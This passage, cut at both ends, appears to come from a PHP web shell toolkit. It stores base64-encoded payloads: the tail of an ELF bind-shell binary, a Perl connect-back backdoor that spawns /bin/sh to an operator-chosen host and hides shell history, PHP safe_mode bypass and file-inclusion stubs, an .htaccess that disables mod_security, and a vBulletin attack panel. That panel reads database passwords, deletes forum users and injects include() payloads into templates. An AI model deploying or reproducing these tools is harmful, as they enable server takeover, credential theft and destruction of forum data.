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0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
3372$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
3373$egy_ini="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
3374$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
3375$egy_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
3376$egy_vb="DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZGFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFRlQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWRhZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9ImxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFsnYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwYXRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyPg0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWdbJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvcj1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnVzZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQoJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiLnByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wcmludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7DQplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCRyZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiBpc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuICRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8